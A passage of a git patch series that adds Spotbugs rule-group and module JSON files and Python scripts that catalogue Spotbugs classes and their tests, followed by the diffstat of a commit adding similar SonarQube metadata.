Tool/Spotbugs/Rule Information/groups/workflow.json new file mode 100644 index 0000000..b957893 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/groups/workflow.json @@ -0,0 +1,28 @@ +{ + "name": "workflow", + "description": null, + "rules": [ + "Churn", + "CopyBuggySource", + "CountByPackagePrefix", + "CountClassVersions", + "DefectDensity", + "FB", + "FileBugHash", + "Filter", + "ListBugDatabaseInfo", + "ListErrors", + "MineBugHistory", + "ObfuscateBugs", + "PrintAppVersion", + "RebornIssues", + "RecursiveSearchForJavaFiles", + "RejarClassesForAnalysis", + "SetBugDatabaseInfo", + "SourceSearcher", + "TestingGround", + "TreemapVisualization", + "UnionResults", + "Update" + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/groups/xml.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/groups/xml.json new file mode 100644 index 0000000..d7ad7c4 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/groups/xml.json @@ -0,0 +1,16 @@ +{ + "name": "xml", + "description": null, + "rules": [ + "Dom4JXMLOutput", + "MetaCharacterMap", + "OutputStreamXMLOutput", + "QuoteMetaCharacters", + "XMLAttributeList", + "XMLOutput", + "XMLOutputUtil", + "XMLUtil", + "XMLWriteable", + "XPathFind" + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/main/spotbugs-main.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/main/spotbugs-main.json new file mode 100644 index 0000000..b2f66e5 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/main/spotbugs-main.json @@ -0,0 +1,6 @@ +{ + "artifactId": "spotbugs", + "groupId": null, + "version": 4.9.3, + "module": ["spotbugs"] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/modules/modules.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/modules/modules.json new file mode 100644 index 0000000..600e2b4 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/modules/modules.json @@ -0,0 +1,33 @@ +{ + "artifactId": "spotbugs-java", + "name": "spotbugs", + "modelVersion": null, + "groups": [ + "asm", + "ba", + "bcel", + "bugReporter", + "bytecode", + "charsets", + "classfile", + "config", + "cwe", + "detect", + "filter", + "findbug", + "graph", + "internalAnnotations", + "io", + "jaif", + "log", + "model", + "plan", + "plugins", + "props", + "sarif", + "util", + "visitclass", + "workflow", + "xml" + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Scripts/spotbugs-checkers.py b/Raw Data/Static Analysis Tool/Spotbugs/Scripts/spotbugs-checkers.py new file mode 100644 index 0000000..ad3dd89 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Scripts/spotbugs-checkers.py @@ -0,0 +1,121 @@ +import os +import json +import re + +# 规则源码路径 +base_path = r"C:\Poorcomputer\Study\Github\spotbugs\spotbugs\src\main\java\edu\umd\cs\findbugs" +# 测试路径 +test_base = r"C:\Poorcomputer\Study\Github\spotbugs\spotbugs-tests\src\test\java\edu\umd\cs\findbugs" +# 输出路径 +output_base = r"C:\Poorcomputer\Study\Github\CodingRuleMap\Raw Data\Static Analysis Tool\Spotbugs\Rule Information\checkers" + +def extract_rule_name(filepath): + return os.path.splitext(os.path.basename(filepath))[0] + +def analyze_java_file(filepath): + with open(filepath, 'r', encoding='utf-8', errors='ignore') as f: + lines = f.readlines() + loc = len(lines) + branches = sum(1 for line in lines if re.search(r'\b(if|else\s+if|for|while|case|catch|switch)\b', line)) + apis = sum(1 for line in lines if '.' in line and '(' in line and not line.strip().startswith("//")) + return loc, branches, apis + +def build_output_path(filepath): + rel_path = os.path.relpath(filepath, base_path) + rel_dir = os.path.dirname(rel_path) + rule_name = extract_rule_name(filepath) + output_dir = os.path.join(output_base, rel_dir) + os.makedirs(output_dir, exist_ok=True) + return os.path.join(output_dir, f"{rule_name}.json") + +def find_test_file(rule_name): + # 查找 Test 文件 + test_filename = rule_name + "Test.java" + for root, _, files in os.walk(test_base): + if test_filename in files: + return os.path.join(root, test_filename) + return None + +def extract_tests_from_file(filepath): + with open(filepath, 'r', encoding='utf-8', errors='ignore') as f: + lines = f.readlines() + + tests = [] + + idx = 0 + while idx < len(lines): + line = lines[idx] + if "@Test" in line: + inside_test = True + func_code = [line] + func_name = "" + start_line = idx + 1 # 1-based line number + brace_balance = 0 + idx += 1 + + # 找到函数头 + while idx < len(lines): + func_code.append(lines[idx]) + match = re.search(r'\bvoid\s+(\w+)\s*\(', lines[idx]) + if match: + func_name = match.group(1) + # 检查是否有 '{' + brace_balance += lines[idx].count('{') - lines[idx].count('}') + break + idx += 1 + + # 找到函数体结束(brace balance = 0) + idx += 1 + while idx < len(lines) and brace_balance >= 0: + func_code.append(lines[idx]) + brace_balance += lines[idx].count('{') - lines[idx].count('}') + if brace_balance == 0: + end_line = idx + 1 # 1-based + break + idx += 1 + + tests.append({ + "description": func_name, + "expected-problems": None, + "expected-linenumbers": [start_line, end_line], + "code": "".join(func_code).strip() + }) + idx += 1 + + return tests + +# 主流程 +for root, _, files in os.walk(base_path): + for file in files: + if not file.endswith(".java"): + continue + + full_path = os.path.join(root, file) + rule_name = extract_rule_name(full_path) + loc, branches, apis = analyze_java_file(full_path) + + rule_info = { + "name": rule_name, + "language": "java", + "description": None, + "example": None, + "cwe": None, + "cwe-description": None, + "checker-language": "java", + "loc": loc, + "branches": branches, + "apis": apis, + "test": [] + } + + # 查找对应测试 + test_file = find_test_file(rule_name) + if test_file: + rule_info["test"] = extract_tests_from_file(test_file) + + # 保存 JSON + output_path = build_output_path(full_path) + with open(output_path, "w", encoding="utf-8") as f: + json.dump(rule_info, f, indent=2, ensure_ascii=False) + +print("规则与测试信息提取完成") diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Scripts/spotbugs-groups.py b/Raw Data/Static Analysis Tool/Spotbugs/Scripts/spotbugs-groups.py new file mode 100644 index 0000000..7e41f0a --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Scripts/spotbugs-groups.py @@ -0,0 +1,48 @@ +import os +import json + +# 源路径(规则实现路径) +base_path = r"C:\Poorcomputer\Study\Github\spotbugs\spotbugs\src\main\java\edu\umd\cs\findbugs" + +# 输出路径(保存 group json 的地方) +output_dir = r"C:\Poorcomputer\Study\Github\CodingRuleMap\Raw Data\Static Analysis Tool\Spotbugs\Rule Information\groups" +os.makedirs(output_dir, exist_ok=True) + +# 所有组的规则字典 +groups = {} + +# 遍历所有 java 文件 +for root, _, files in os.walk(base_path): + for file in files: + if not file.endswith(".java"): + continue + + full_path = os.path.join(root, file) + rel_path = os.path.relpath(full_path, base_path) + parts = rel_path.split(os.sep) + + if len(parts) == 1: + group_name = "findbug" + else: + group_name = parts[0] + + rule_name = os.path.splitext(file)[0] + + if group_name not in groups: + groups[group_name] = [] + + groups[group_name].append(rule_name) + +# 写入每个组为单独 json +for group_name, rule_list in groups.items(): + group_json = { + "name": group_name, + "description": None, + "rules": sorted(rule_list) + } + + output_path = os.path.join(output_dir, f"{group_name}.json") + with open(output_path, "w", encoding="utf-8") as f: + json.dump(group_json, f, indent=2, ensure_ascii=False) + +print("所有 group 信息已提取完成") diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Scripts/spotbugs-modules.py b/Raw Data/Static Analysis Tool/Spotbugs/Scripts/spotbugs-modules.py new file mode 100644 index 0000000..6d995b3 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Scripts/spotbugs-modules.py @@ -0,0 +1,40 @@ +import os +import json + +# 源码基础路径 +base_path = r"C:\Poorcomputer\Study\Github\spotbugs\spotbugs\src\main\java\edu\umd\cs\findbugs" + +# 输出模块信息 JSON 路径 +output_path = r"C:\Poorcomputer\Study\Github\CodingRuleMap\Raw Data\Static Analysis Tool\Spotbugs\Rule Information\modules\modules.json" + +# 初始化 set 防止重复 +group_names = set() + +# 遍历所有 Java 文件 +for root, _, files in os.walk(base_path): + for file in files: + if not file.endswith(".java"): + continue + + full_path = os.path.join(root, file) + rel_path = os.path.relpath(full_path, base_path) + parts = rel_path.split(os.sep) + + if len(parts) == 1: + group_names.add("findbug") + else: + group_names.add(parts[0]) + +# 构造 modules 信息 +module_info = { + "artifactId": "spotbugs-java", + "name": "spotbugs", + "modelVersion": None, + "groups": sorted(group_names) +} + +# 保存 JSON +with open(output_path, "w", encoding="utf-8") as f: + json.dump(module_info, f, indent=2, ensure_ascii=False) + +print("模块信息提取完成,输出文件为:modules.json") From 059a62748a40536dd4418dbd8205e03fbc4e96b5 Mon Sep 17 00:00:00 2001 From: Meiosis <145437200+Meiosis-Poor@users.noreply.github.com> Date: Fri, 8 Aug 2025 20:31:31 +0800 Subject: [PATCH 6/7] Add sonarqube --- .../checkers/ce/CeTaskCharacteristics.json | 13 ++ .../checkers/component/ComponentKeys.json | 62 ++++++ .../config/AiCodeFixEnablementConstants.json | 13 ++ .../config/AiCodefixPropertyDefinitions.json | 13 ++ .../config/ComputeEngineProperties.json | 13 ++ .../config/CorePropertyDefinitions.json | 26 +++ .../checkers/config/DebtProperties.json | 13 ++ .../checkers/config/ExclusionProperties.json | 13 ++ .../checkers/config/Frequency.json | 13 ++ .../config/IssueExclusionProperties.json | 13 ++ .../checkers/config/Logback.json | 13 ++ .../checkers/config/MQRModeConstants.json | 13 ++ .../checkers/config/MQRModeProperties.json | 13 ++ .../config/MaxTokenLifetimeOption.json | 38 ++++ .../checkers/config/ProxyProperties.json | 13 ++ .../checkers/config/PurgeConstants.json | 13 ++ .../checkers/config/PurgeProperties.json | 20 ++ .../checkers/config/ScannerProperties.json | 13 ++ .../checkers/config/SecurityProperties.json | 20 ++ .../checkers/config/SvnProperties.json | 13 ++ .../config/TokenExpirationConstants.json | 13 ++ .../checkers/config/WebConstants.json | 13 ++ .../DefaultDocumentationLinkGenerator.json | 44 ++++ .../DocumentationBaseLinkProvider.json | 13 ++ .../DocumentationLinkGenerator.json | 13 ++ ...ersionedDocumentationBaseLinkProvider.json | 13 ++ .../checkers/extension/CoreExtension.json | 20 ++ .../extension/CoreExtensionRepository.json | 13 ++ .../CoreExtensionRepositoryImpl.json | 50 +++++ .../extension/CoreExtensionsInstaller.json | 44 ++++ .../extension/CoreExtensionsLoader.json | 38 ++++ .../checkers/extension/PlatformLevel.json | 13 ++ .../extension/PlatformLevelPredicates.json | 13 ++ .../checkers/extension/PluginRiskConsent.json | 13 ++ .../extension/ServiceLoaderWrapper.json | 13 ++ .../checkers/fips/FipsDetector.json | 13 ++ .../checkers/hash/LineRange.json | 32 +++ .../checkers/hash/SourceHashComputer.json | 32 +++ .../hash/SourceLineHashesComputer.json | 13 ++ .../checkers/i18n/DefaultI18n.json | 134 ++++++++++++ .../checkers/i18n/DurationLabel.json | 80 +++++++ .../Rule Information/checkers/i18n/I18n.json | 13 ++ .../checkers/i18n/I18nClassloader.json | 38 ++++ .../checkers/issue/AnticipatedTransition.json | 26 +++ .../checkers/issue/DefaultImpact.json | 13 ++ .../checkers/issue/DefaultIssue.json | 13 ++ .../checkers/issue/DefaultIssueComment.json | 13 ++ .../checkers/issue/FieldDiffs.json | 116 ++++++++++ .../checkers/issue/IssueChangeContext.json | 44 ++++ .../issue/tracking/AbstractTracker.json | 44 ++++ .../AnticipatedTransitionTracker.json | 20 ++ .../issue/tracking/BlockHashSequence.json | 20 ++ .../issue/tracking/BlockRecognizer.json | 26 +++ .../tracking/FilteringBaseInputWrapper.json | 13 ++ .../checkers/issue/tracking/Input.json | 13 ++ .../checkers/issue/tracking/LazyInput.json | 13 ++ .../issue/tracking/LineHashSequence.json | 13 ++ .../issue/tracking/NonClosedTracking.json | 13 ++ .../issue/tracking/SimpleTracker.json | 13 ++ .../checkers/issue/tracking/Trackable.json | 13 ++ .../checkers/issue/tracking/Tracker.json | 122 +++++++++++ .../checkers/issue/tracking/Tracking.json | 13 ++ .../checkers/language/LanguagesProvider.json | 26 +++ .../language/UnanalyzedLanguages.json | 20 ++ .../checkers/metric/ScannerMetrics.json | 13 ++ .../metric/SoftwareQualitiesMetrics.json | 13 ++ .../platform/ClassDerivedBeanDefinition.json | 13 ++ .../checkers/platform/ComponentKeys.json | 44 ++++ .../checkers/platform/Container.json | 13 ++ .../checkers/platform/ContainerPopulator.json | 13 ++ .../checkers/platform/EditionProvider.json | 13 ++ .../checkers/platform/ExplodedPlugin.json | 13 ++ .../checkers/platform/ExtensionContainer.json | 13 ++ .../checkers/platform/LazyStrategy.json | 13 ++ .../platform/LazyUnlessStartableStrategy.json | 20 ++ .../checkers/platform/ListContainer.json | 44 ++++ .../checkers/platform/Module.json | 32 +++ .../platform/PlatformEditionProvider.json | 20 ++ .../checkers/platform/PluginClassLoader.json | 13 ++ .../platform/PluginClassLoaderDef.json | 20 ++ .../platform/PluginClassloaderFactory.json | 38 ++++ .../checkers/platform/PluginInfo.json | 68 ++++++ .../checkers/platform/PluginJarExploder.json | 13 ++ .../checkers/platform/PluginRepository.json | 13 ++ .../platform/PriorityBeanFactory.json | 32 +++ .../checkers/platform/RemotePluginFile.json | 13 ++ .../checkers/platform/ServerId.json | 50 +++++ .../checkers/platform/SonarQubeVersion.json | 20 ++ .../platform/SpringComponentContainer.json | 128 +++++++++++ .../checkers/platform/SpringInitStrategy.json | 13 ++ .../platform/StartableBeanPostProcessor.json | 32 +++ .../checkers/platform/StartableContainer.json | 13 ++ .../checkers/plugin/PluginType.json | 13 ++ .../checkers/rule/ImpactFormatter.json | 13 ++ .../checkers/rule/ImpactSeverityMapper.json | 13 ++ .../checkers/rule/RuleType.json | 13 ++ .../checkers/rule/RuleTypeMapper.json | 13 ++ .../checkers/sarif/SarifSerializer.json | 13 ++ .../checkers/sarif/SarifSerializerImpl.json | 26 +++ .../scadata/DefaultScaDataSourceImpl.json | 26 +++ .../checkers/scadata/ScaDataSource.json | 13 ++ .../telemetry/TelemetryExtension.json | 13 ++ .../checkers/user/DefaultUser.json | 13 ++ .../checkers/util/CloseableIterator.json | 62 ++++++ .../checkers/util/ContextException.json | 62 ++++++ .../checkers/util/DefaultHttpDownloader.json | 13 ++ .../checkers/util/FileUtils.json | 44 ++++ .../checkers/util/LineReaderIterator.json | 38 ++++ .../checkers/util/NonNullInputFunction.json | 26 +++ .../checkers/util/ParamChange.json | 13 ++ .../checkers/util/ProcessWrapperFactory.json | 13 ++ .../checkers/util/ProgressLogger.json | 20 ++ .../checkers/util/Protobuf.json | 32 +++ .../checkers/util/ProtobufJsonFormat.json | 110 ++++++++++ .../checkers/util/ResourceUtils.json | 32 +++ .../checkers/util/SequenceUuidFactory.json | 20 ++ .../checkers/util/SettingFormatter.json | 32 +++ .../Rule Information/checkers/util/Slug.json | 20 ++ .../checkers/util/UtcDateUtils.json | 26 +++ .../checkers/util/UuidFactory.json | 13 ++ .../checkers/util/UuidFactoryFast.json | 26 +++ .../checkers/util/UuidFactoryImpl.json | 26 +++ .../Rule Information/checkers/util/Uuids.json | 26 +++ .../checkers/util/issue/Issue.json | 20 ++ .../util/issue/IssueChangedEvent.json | 32 +++ .../checkers/util/logs/DefaultProfiler.json | 122 +++++++++++ .../checkers/util/logs/NullProfiler.json | 26 +++ .../checkers/util/logs/Profiler.json | 32 +++ .../checkers/util/rule/RuleChange.json | 13 ++ .../util/rule/RuleSetChangedEvent.json | 26 +++ .../checkers/util/stream/MoreCollectors.json | 206 ++++++++++++++++++ .../Sonarqube/Rule Information/groups/ce.json | 7 + .../Rule Information/groups/component.json | 7 + .../Rule Information/groups/config.json | 26 +++ .../groups/documentation.json | 10 + .../Rule Information/groups/extension.json | 15 ++ .../Rule Information/groups/fips.json | 7 + .../Rule Information/groups/hash.json | 9 + .../Rule Information/groups/i18n.json | 10 + .../Rule Information/groups/issue.json | 12 + .../Rule Information/groups/language.json | 8 + .../Rule Information/groups/metric.json | 8 + .../Rule Information/groups/platform.json | 32 +++ .../Rule Information/groups/plugin.json | 7 + .../Rule Information/groups/rule.json | 10 + .../Rule Information/groups/sarif.json | 8 + .../Rule Information/groups/scadata.json | 8 + .../Rule Information/groups/telemetry.json | 7 + .../Rule Information/groups/user.json | 7 + .../Rule Information/groups/util.json | 26 +++ .../Rule Information/main/sonarqube-main.json | 6 + .../Rule Information/modules/modules.json | 26 +++ .../Sonarqube/Scripts/sonarqube-checkers.py | 129 +++++++++++ .../Sonarqube/Scripts/sonarqube-groups.py | 35 +++ .../Sonarqube/Scripts/sonarqube-modules.py | 29 +++ 155 files changed, 4141 insertions(+) create mode 100644 Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/ce/CeTaskCharacteristics.json create mode 100644 Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/component/ComponentKeys.json create mode 100644 Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/config/AiCodeFixEnablementConstants.json create mode 100644 Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/config/AiCodefixPropertyDefinitions.json create mode 100644 Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/config/ComputeEngineProperties.json create mode 100644 Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/config/CorePropertyDefinitions.json create mode 100644 Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/config/DebtProperties.json create mode 100644 Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/config/ExclusionProperties.json create mode 100644 Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/config/Frequency.json create mode 100644 Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/config/IssueExclusionProperties.json create mode 100644 Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/config/Logback.json create mode 100644 Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/config/MQRModeConstants.json create mode 100644 Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/config/MQRModeProperties.json create mode 100644 Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/config/MaxTokenLifetimeOption.json create mode 100644 Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/config/ProxyProperties.json create mode 100644 Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/config/PurgeConstants.json create mode 100644 Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/config/PurgeProperties.json create mode 100644 Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/config/ScannerProperties.json create mode 100644 Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/config/SecurityProperties.json create mode 100644 Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/config/SvnProperties.json create mode 100644 Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/config/TokenExpirationConstants.json create mode 100644 Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/config/WebConstants.json create mode 100644 Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/documentation/DefaultDocumentationLinkGenerator.json create mode 100644 Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/documentation/DocumentationBaseLinkProvider.json create mode 100644 Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/documentation/DocumentationLinkGenerator.json create mode 100644 Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/documentation/VersionedDocumentationBaseLinkProvider.json create mode 100644 Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/extension/CoreExtension.json create mode 100644 Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/extension/CoreExtensionRepository.json create mode 100644 Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/extension/CoreExtensionRepositoryImpl.json create mode 100644 Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/extension/CoreExtensionsInstaller.json create mode 100644 Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/extension/CoreExtensionsLoader.json create mode 100644 Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/extension/PlatformLevel.json create mode 100644 Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/extension/PlatformLevelPredicates.json create mode 100644 Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/extension/PluginRiskConsent.json create mode 100644 Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/extension/ServiceLoaderWrapper.json create mode 100644 Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/fips/FipsDetector.json create mode 100644 Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/hash/LineRange.json create mode 100644 Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/hash/SourceHashComputer.json create mode 100644 Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/hash/SourceLineHashesComputer.json create mode 100644 Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/i18n/DefaultI18n.json create mode 100644 Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/i18n/DurationLabel.json create mode 100644 Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/i18n/I18n.json create mode 100644 Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/i18n/I18nClassloader.json create mode 100644 Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/issue/AnticipatedTransition.json create mode 100644 Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/issue/DefaultImpact.json create mode 100644 Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/issue/DefaultIssue.json create mode 100644 Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/issue/DefaultIssueComment.json create mode 100644 Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/issue/FieldDiffs.json create mode 100644 Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/issue/IssueChangeContext.json create mode 100644 Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/issue/tracking/AbstractTracker.json create mode 100644 Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/issue/tracking/AnticipatedTransitionTracker.json create mode 100644 Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/issue/tracking/BlockHashSequence.json create mode 100644 Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/issue/tracking/BlockRecognizer.json create mode 100644 Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/issue/tracking/FilteringBaseInputWrapper.json create mode 100644 Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/issue/tracking/Input.json create mode 100644 Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/issue/tracking/LazyInput.json create mode 100644 Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/issue/tracking/LineHashSequence.json create mode 100644 Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/issue/tracking/NonClosedTracking.json create mode 100644 Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/issue/tracking/SimpleTracker.json create mode 100644 Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/issue/tracking/Trackable.json create mode 100644 Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/issue/tracking/Tracker.json create mode 100644 Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/issue/tracking/Tracking.json create mode 100644 Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/language/LanguagesProvider.json create mode 100644 Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/language/UnanalyzedLanguages.json create mode 100644 Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/metric/ScannerMetrics.json create mode 100644 Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/metric/SoftwareQualitiesMetrics.json create mode 100644 Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/platform/ClassDerivedBeanDefinition.json create mode 100644 Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/platform/ComponentKeys.json create mode 100644 Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/platform/Container.json create mode 100644 Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/platform/ContainerPopulator.json create mode 100644 Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/platform/EditionProvider.json create mode 100644 Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/platform/ExplodedPlugin.json create mode 100644 Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/platform/ExtensionContainer.json create mode 100644 Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/platform/LazyStrategy.json create mode 100644 Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/platform/LazyUnlessStartableStrategy.json create mode 100644 Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/platform/ListContainer.json create mode 100644 Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/platform/Module.json create mode 100644 Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/platform/PlatformEditionProvider.json create mode 100644 Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/platform/PluginClassLoader.json create mode 100644 Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/platform/PluginClassLoaderDef.json create mode 100644 Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/platform/PluginClassloaderFactory.json create mode 100644 Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/platform/PluginInfo.json create mode 100644 Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/platform/PluginJarExploder.json create mode 100644 Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/platform/PluginRepository.json create mode 100644 Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/platform/PriorityBeanFactory.json create mode 100644 Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/platform/RemotePluginFile.json create mode 100644 Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/platform/ServerId.json create mode 100644 Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/platform/SonarQubeVersion.json create mode 100644 Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/platform/SpringComponentContainer.json create mode 100644 Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/platform/SpringInitStrategy.json create mode 100644 Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/platform/StartableBeanPostProcessor.json create mode 100644 Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/platform/StartableContainer.json create mode 100644 Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/plugin/PluginType.json create mode 100644 Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/rule/ImpactFormatter.json create mode 100644 Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/rule/ImpactSeverityMapper.json create mode 100644 Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/rule/RuleType.json create mode 100644 Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/rule/RuleTypeMapper.json create mode 100644 Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/sarif/SarifSerializer.json create mode 100644 Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/sarif/SarifSerializerImpl.json create mode 100644 Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/scadata/DefaultScaDataSourceImpl.json create mode 100644 Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/scadata/ScaDataSource.json create mode 100644 Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/telemetry/TelemetryExtension.json create mode 100644 Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/user/DefaultUser.json create mode 100644 Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/util/CloseableIterator.json create mode 100644 Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/util/ContextException.json create mode 100644 Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/util/DefaultHttpDownloader.json create mode 100644 Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/util/FileUtils.json create mode 100644 Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/util/LineReaderIterator.json create mode 100644 Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/util/NonNullInputFunction.json create mode 100644 Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/util/ParamChange.json create mode 100644 Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/util/ProcessWrapperFactory.json create mode 100644 Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/util/ProgressLogger.json create mode 100644 Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/util/Protobuf.json create mode 100644 Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/util/ProtobufJsonFormat.json create mode 100644 Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/util/ResourceUtils.json create mode 100644 Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/util/SequenceUuidFactory.json create mode 100644 Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/util/SettingFormatter.json create mode 100644 Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/util/Slug.json create mode 100644 Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/util/UtcDateUtils.json create mode 100644 Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/util/UuidFactory.json create mode 100644 Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/util/UuidFactoryFast.json create mode 100644 Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/util/UuidFactoryImpl.json create mode 100644 Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/util/Uuids.json create mode 100644 Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/util/issue/Issue.json create 